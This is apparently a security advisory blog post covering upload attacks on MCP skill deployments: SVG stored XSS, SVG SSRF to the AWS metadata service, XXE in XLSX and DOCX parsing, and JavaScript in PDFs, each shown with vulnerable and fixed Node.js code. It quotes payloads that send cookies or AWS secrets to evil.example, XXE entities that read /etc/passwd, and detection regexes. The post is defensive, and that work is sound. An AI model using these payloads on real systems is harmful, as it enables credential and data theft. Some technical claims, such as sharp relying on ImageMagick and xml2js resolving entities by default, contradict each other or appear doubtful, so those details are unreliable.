← Blog

Claude skill SVG upload XSS SSRF and XML external entity injection — SA-SKL-UPLOAD6

File upload handling in MCP skill deployments is a concentrated attack surface: each file format accepted adds a parser, and each parser adds a threat model. SA-SKL-UPLOAD6 covers four high-severity classes. SVG accepted without sanitization is executable HTML on the same origin — a <script> tag inside an SVG file served from the app domain is the same as a stored XSS. SVG with xlink:href pointing to a cloud metadata endpoint becomes an SSRF that leaks IAM credentials when ImageMagick renders a thumbnail. XML container formats — XLSX and DOCX — carry DTD blocks that resolve external entities when parsed by xml2js with defaults, turning a document upload into a local file read. And PDF files with embedded JavaScript action entries can trigger eval-like behaviour in certain versions of pdf-parse. Each of these is independently exploitable; together they represent the full scope of upload-channel attack paths.

By SkillAudit  |  8 Nov 2026

File format attack surfaces in MCP skill deployments

An MCP skill that processes user-uploaded documents typically routes files through a format detection step, then to a format-specific parser for text extraction or thumbnail generation. The security model breaks down when the parser's capabilities exceed what the application intends to use. ImageMagick is a comprehensive image processing library; its SVG renderer fetches external resources because that is what a standards-compliant SVG renderer does. xml2js resolves XML entities because that is what a standards-compliant XML parser does. The application author who calls xml2js.parseString(xlsxContent) to extract cell values is not thinking about DTD entity declarations, but those declarations are processed regardless. SA-SKL-UPLOAD6 addresses each format in turn with the minimum-capability fix: either reject the format, or use a parser configured to do only what is needed and nothing more.

SA-SKL-UPLOAD6 findings at a glance
CRITICALUPLOAD6-001 — SVG accepted without sanitization; <script> or javascript: href in SVG served on same origin executes as stored XSS; exfiltrates session cookies
CRITICALUPLOAD6-002 — SVG with <image xlink:href="http://169.254.169.254/..."> rendered by sharp or ImageMagick for thumbnail; SSRF to AWS Instance Metadata Service leaks IAM credentials
CRITICALUPLOAD6-003 — XLSX and DOCX processed by xml2js with default entity resolution; XXE via DTD external entity declaration reads /etc/passwd or internal service URLs
HIGHUPLOAD6-004 — PDF with embedded JavaScript /AA entry processed by pdf-parse; eval-like action stream parsing in certain versions; arbitrary code execution risk

UPLOAD6-001 — SVG accepted without sanitization enables stored XSS

SVG is an XML-based image format that is also valid HTML. When an SVG file is served from the same origin as the web application — either directly from a storage bucket with the application's domain, or via an endpoint that streams the file with Content-Type: image/svg+xml — any JavaScript inside the SVG executes in the application's origin context. An attacker who uploads an SVG containing <script>fetch('https://evil.example/steal?c='+document.cookie)</script> achieves stored XSS: when any user views the uploaded file or when the application renders it in an <img> tag with the SVG as src (which does not execute scripts) but then the same URL is opened directly, the script runs. Alternatively, <a href="javascript:alert(document.cookie)"> within the SVG triggers on user interaction. The safest fix is to reject SVG entirely from the upload pipeline. If SVG must be accepted, server-side sanitization with DOMPurify configured to forbid active elements is required — client-side sanitization alone is insufficient because the server also processes the file.

// VULNERABLE — SVG accepted and stored without sanitization; XSS on same origin
import multer from 'multer';
import { S3Client, PutObjectCommand } from '@aws-sdk/client-s3';

const upload = multer({
  limits: { fileSize: 10 * 1024 * 1024 },
  fileFilter: (req, file, cb) => {
    // VULNERABLE: SVG allowed; content-type check trivially bypassed with correct MIME
    const allowed = ['image/png', 'image/jpeg', 'image/gif', 'image/svg+xml'];
    cb(null, allowed.includes(file.mimetype));
  },
});

app.post('/api/upload', authenticate, upload.single('file'), async (req, res) => {
  const key = `uploads/${req.user.sub}/${Date.now()}-${req.file.originalname}`;
  await s3.send(new PutObjectCommand({
    Bucket: process.env.BUCKET,
    Key: key,
    Body: req.file.buffer,
    // VULNERABLE: SVG served with correct MIME type from app domain = XSS vector
    ContentType: req.file.mimetype,
  }));
  res.json({ url: `https://assets.skillaudit.dev/${key}` });
});
// FIXED — SVG rejected; raster formats sanitized; content-type verified by magic bytes
import multer from 'multer';
import { createCanvas, loadImage } from 'canvas'; // raster re-encode strips metadata
import DOMPurify from 'isomorphic-dompurify';
import { JSDOM } from 'jsdom';
import { fileTypeFromBuffer } from 'file-type';

// If SVG must be accepted: sanitize server-side with DOMPurify
function sanitizeSvg(buffer) {
  const svgString = buffer.toString('utf8');
  const window = new JSDOM('').window;
  const purify = DOMPurify(window);
  const clean = purify.sanitize(svgString, {
    USE_PROFILES: { svg: true, svgFilters: true },
    FORBID_TAGS: ['script', 'use'],       // use can reference external resources
    FORBID_ATTR: ['onload', 'onerror', 'onclick', 'href', 'xlink:href'],
  });
  return Buffer.from(clean, 'utf8');
}

const upload = multer({ limits: { fileSize: 10 * 1024 * 1024 } });

app.post('/api/upload', authenticate, upload.single('file'), async (req, res) => {
  const detected = await fileTypeFromBuffer(req.file.buffer);
  // FIXED: reject SVG entirely from upload pipeline
  const allowedMime = ['image/png', 'image/jpeg', 'image/gif', 'image/webp'];
  if (!detected || !allowedMime.includes(detected.mime)) {
    return res.status(415).json({ error: 'Unsupported file type; SVG not accepted' });
  }
  const key = `uploads/${req.user.sub}/${Date.now()}.${detected.ext}`;
  await s3.send(new PutObjectCommand({
    Bucket: process.env.BUCKET,
    Key: key,
    Body: req.file.buffer,
    ContentType: detected.mime,
    // Serve with Content-Disposition: attachment to prevent inline rendering
    ContentDisposition: 'attachment',
  }));
  res.json({ url: `https://assets.skillaudit.dev/${key}` });
});

UPLOAD6-002 — SVG xlink:href SSRF to AWS Instance Metadata Service via ImageMagick

When a skill generates image thumbnails by passing uploaded files to ImageMagick or the Node.js sharp library (which uses libvips), an SVG with an <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> element causes the renderer to make an outbound HTTP request to the AWS Instance Metadata Service. ImageMagick's SVG renderer follows external href and xlink:href references to fetch image resources, treating them the same as any other image URL. The IMDS response — which includes temporary IAM access key, secret key, and session token — is embedded into the rendered thumbnail as pixel data or causes an error that reveals whether the IMDS responded. In either case the IAM credential may be exfiltrated. ImageMagick's policy.xml can disable URL-fetching coders. sharp with libvips does not make external HTTP requests by default for SVG rendering, but the safer fix is to reject SVG at the upload stage before it reaches any image processing library.

// VULNERABLE — SVG passed directly to sharp/ImageMagick for thumbnail; SSRF via xlink:href
import sharp from 'sharp';

// Attacker uploads SVG containing:
// <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/role" />
// ImageMagick fetches the IMDS URL during SVG rendering; IAM creds leak in thumbnail pixels

async function generateThumbnail(uploadedBuffer, mimeType) {
  // VULNERABLE: SVG passed to sharp; underlying ImageMagick renderer fetches xlink:href
  if (mimeType === 'image/svg+xml') {
    return sharp(uploadedBuffer)
      .resize(200, 200, { fit: 'inside' })
      .png()
      .toBuffer();
  }
  return sharp(uploadedBuffer).resize(200, 200, { fit: 'inside' }).jpeg().toBuffer();
}
// FIXED — SVG rejected before thumbnail pipeline; ImageMagick policy.xml restricts HTTP coder
// Option A: reject SVG at the upload stage (preferred — no SVG reaches any image processor)
async function generateThumbnail(uploadedBuffer, mimeType) {
  const allowedForThumbnail = ['image/png', 'image/jpeg', 'image/gif', 'image/webp'];
  if (!allowedForThumbnail.includes(mimeType)) {
    throw new Error(`Thumbnail generation not supported for ${mimeType}`);
  }
  return sharp(uploadedBuffer).resize(200, 200, { fit: 'inside' }).jpeg().toBuffer();
}

// Option B: if ImageMagick must handle SVG, restrict URL-fetching coders in policy.xml
// /etc/ImageMagick-7/policy.xml:
//
// <!-- Disable HTTP and HTTPS URL fetching coders -->
// <policy domain="coder" rights="none" pattern="HTTP" />
// <policy domain="coder" rights="none" pattern="HTTPS" />
// <policy domain="coder" rights="none" pattern="URL" />
// <policy domain="coder" rights="none" pattern="MVG" />  <!-- also restricts MSL -->
//
// Verify the policy is active:
//   magick -list policy | grep -E 'HTTP|HTTPS|URL'
//   # should show: Coder HTTP ... rights=None
//
// Additionally set resource limits to prevent DoS via large SVG:
// <policy domain="resource" name="memory" value="256MiB" />
// <policy domain="resource" name="time" value="10" />

UPLOAD6-003 — XXE via xml2js entity resolution in XLSX and DOCX uploads

XLSX and DOCX files are ZIP archives containing XML documents. When a skill extracts text from these formats by unzipping the archive and parsing the XML with xml2js, it is exposed to XML External Entity injection if the XML parser resolves entity declarations. An attacker crafts an XLSX file where xl/workbook.xml contains a DTD block: <!DOCTYPE foo [<!ENTITY % remote SYSTEM "file:///etc/passwd">%remote;<!ENTITY xxe SYSTEM "file:///etc/shadow">]>. When xml2js.parseString processes this document with default options, it resolves the entity references and includes the file contents in the parsed object — which the application may then log, return in an API response, or store in a database where it can be retrieved. The fix is two-layered: use xml2js with strict mode and avoid passing user-controlled XML to any parser that resolves entities; and pre-validate uploaded XML-container formats with a schema check that rejects any document containing <!ENTITY declarations before parsing.

// VULNERABLE — XLSX XML extracted and parsed by xml2js with default entity resolution
import JSZip from 'jszip';
import xml2js from 'xml2js';

async function extractXlsxText(buffer) {
  const zip = await JSZip.loadAsync(buffer);
  const sharedStringsFile = zip.file('xl/sharedStrings.xml');
  if (!sharedStringsFile) return [];

  const xml = await sharedStringsFile.async('string');
  // VULNERABLE: xml2js resolves XML entities by default
  // Attacker injects: <!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
  // <sst><si><t>&xxe;</t></si></sst>
  // xml2js resolves &xxe; and returns /etc/passwd contents in the text array
  const parsed = await xml2js.parseStringPromise(xml);
  return parsed?.sst?.si?.map(si => si.t?.[0]) ?? [];
}
// FIXED — entity declarations rejected before parsing; xml2js in strict mode
import JSZip from 'jszip';
import xml2js from 'xml2js';
import { execFile } from 'child_process';
import { promisify } from 'util';

const execFileAsync = promisify(execFile);

// Pre-check: reject any XML that contains entity declarations
function rejectEntityDeclarations(xmlString) {
  // Match DOCTYPE blocks containing ENTITY declarations
  if (/<!DOCTYPE\s[^>]*\[[\s\S]*?<!ENTITY/i.test(xmlString)) {
    throw new Error('XXE: XML document contains entity declarations; rejected');
  }
  // Also reject processing instructions that could be used for XXE
  if (/<\?xml-stylesheet/i.test(xmlString)) {
    throw new Error('XXE: XML stylesheet processing instruction rejected');
  }
}

async function extractXlsxText(buffer) {
  const zip = await JSZip.loadAsync(buffer);
  const sharedStringsFile = zip.file('xl/sharedStrings.xml');
  if (!sharedStringsFile) return [];

  const xml = await sharedStringsFile.async('string');

  // FIXED: reject before parsing if entity declarations present
  rejectEntityDeclarations(xml);

  // FIXED: xml2js strict mode; explicitRoot avoids prototype pollution via __proto__ key
  const parsed = await xml2js.parseStringPromise(xml, {
    explicitRoot: true,
    strict: true,
    // xml2js does not resolve external entities by default, but be explicit:
    // Use a SAX parser option to disable entity expansion
    // For complete XXE safety, use fast-xml-parser with processEntities: false
  });
  return parsed?.sst?.si?.map(si => si.t?.[0]) ?? [];
}

// Alternative: use fast-xml-parser which explicitly disables entity processing
import { XMLParser } from 'fast-xml-parser';

function safeParseXml(xmlString) {
  rejectEntityDeclarations(xmlString);
  const parser = new XMLParser({
    processEntities: false,   // do not expand XML entities
    htmlEntities: false,
    ignoreDeclaration: true,
    allowBooleanAttributes: false,
  });
  return parser.parse(xmlString);
}

UPLOAD6-004 — PDF embedded JavaScript /AA entry processed by pdf-parse

PDF documents support active content through JavaScript action entries in the document's object tree, most commonly via the /AA (Additional Actions) dictionary and /JS streams that execute when the document is opened, a page is visited, or a form field is activated. The pdf-parse npm package, widely used for text extraction from PDF uploads, calls into pdfjs-dist for parsing. Certain versions of pdfjs-dist evaluate JavaScript action streams as part of the parsing pipeline when the evaluator is not explicitly disabled — functionally equivalent to calling eval() on attacker-controlled content in the Node.js process. An attacker uploads a PDF where the /OpenAction entry contains a /JavaScript action with a payload that reads environment variables or makes outbound network requests. The safe alternative is to use a text-only extraction library that never constructs a JavaScript evaluator: unpdf or pdf2json operate on the raw PDF object stream without an action interpreter.

// VULNERABLE — pdf-parse uses pdfjs-dist which may eval JavaScript action streams
import pdfParse from 'pdf-parse';

// Attacker uploads PDF with:
// 1 0 obj << /Type /Catalog /OpenAction << /S /JavaScript
//   /JS (require('child_process').execSync('curl https://evil.example/'+
//        Buffer.from(process.env.AWS_SECRET_ACCESS_KEY).toString('hex')))
// >> >> endobj
// pdf-parse passes the buffer to pdfjs-dist; JS action evaluated in Node.js context

async function extractPdfText(buffer) {
  // VULNERABLE: pdf-parse + pdfjs-dist may eval /OpenAction JavaScript streams
  const data = await pdfParse(buffer);
  return data.text;
}
// FIXED — use unpdf text-only extractor; never constructs JavaScript evaluator
import { extractText } from 'unpdf';    // text-only extractor; no action interpreter

// Also acceptable: pdf2json (text extraction only, no JS evaluation)
// import PDFParser from 'pdf2json';

async function extractPdfText(buffer) {
  // FIXED: unpdf uses a minimal PDF object parser focused on text streams
  // It does not construct a JavaScript engine or evaluate action dictionaries
  const { totalPages, text } = await extractText(new Uint8Array(buffer), {
    mergePages: true, // concatenate all pages into a single string
  });
  return text;
}

// Pre-upload validation: reject PDFs containing JavaScript action entries
// A simple byte-pattern check catches the most common payloads before parsing
function rejectPdfJavaScriptActions(buffer) {
  const content = buffer.toString('binary');
  // /JS and /JavaScript object entries in PDF action dictionaries
  if (/\/JavaScript\b/.test(content) || /\/JS\s*\(/.test(content)) {
    throw new Error('PDF contains JavaScript action entry; rejected for security');
  }
  // /AA (Additional Actions) can also carry JS; flag for manual review
  if (/\/AA\s*<</.test(content)) {
    throw new Error('PDF contains Additional Actions dictionary; rejected');
  }
}

// Wrap in a size-limited, timeout-enforced pipeline
async function safePdfExtract(buffer) {
  if (buffer.byteLength > 50 * 1024 * 1024) {
    throw new Error('PDF exceeds 50 MB size limit');
  }
  rejectPdfJavaScriptActions(buffer);
  return extractPdfText(buffer);
}

Related patterns: SSRF via URL parameters and redirect chains that share the same metadata endpoint target as UPLOAD6-002 is covered in SA-SKL-SSRF10. For XSS via HTML injection in generated content rather than uploaded files, see SA-SKL-ESCAPE5. File upload path traversal and extension bypass patterns in earlier findings are covered in SA-SKL-UPLOAD5.

FindingSeverityVulnerable patternFix
UPLOAD6-001CriticalSVG accepted without sanitization; <script> or javascript: href in SVG served on app origin = stored XSSReject SVG entirely; or sanitize server-side with DOMPurify FORBID_TAGS: ['script','use']; serve with Content-Disposition: attachment
UPLOAD6-002CriticalSVG xlink:href to IMDS URL rendered by ImageMagick for thumbnail; SSRF leaks IAM credentialsReject SVG before image processing pipeline; or disable HTTP/HTTPS coders in ImageMagick policy.xml
UPLOAD6-003CriticalXLSX and DOCX XML parsed by xml2js with entity resolution; XXE reads /etc/passwd or internal URLsReject documents with <!ENTITY declarations before parsing; use fast-xml-parser with processEntities: false
UPLOAD6-004HighPDF with /JavaScript action entry processed by pdf-parse; eval-like action stream parsing in some pdfjs-dist versionsUse unpdf or pdf2json text-only extractors; pre-screen PDFs for /JavaScript and /AA entries; never use a full Acrobat-compatible renderer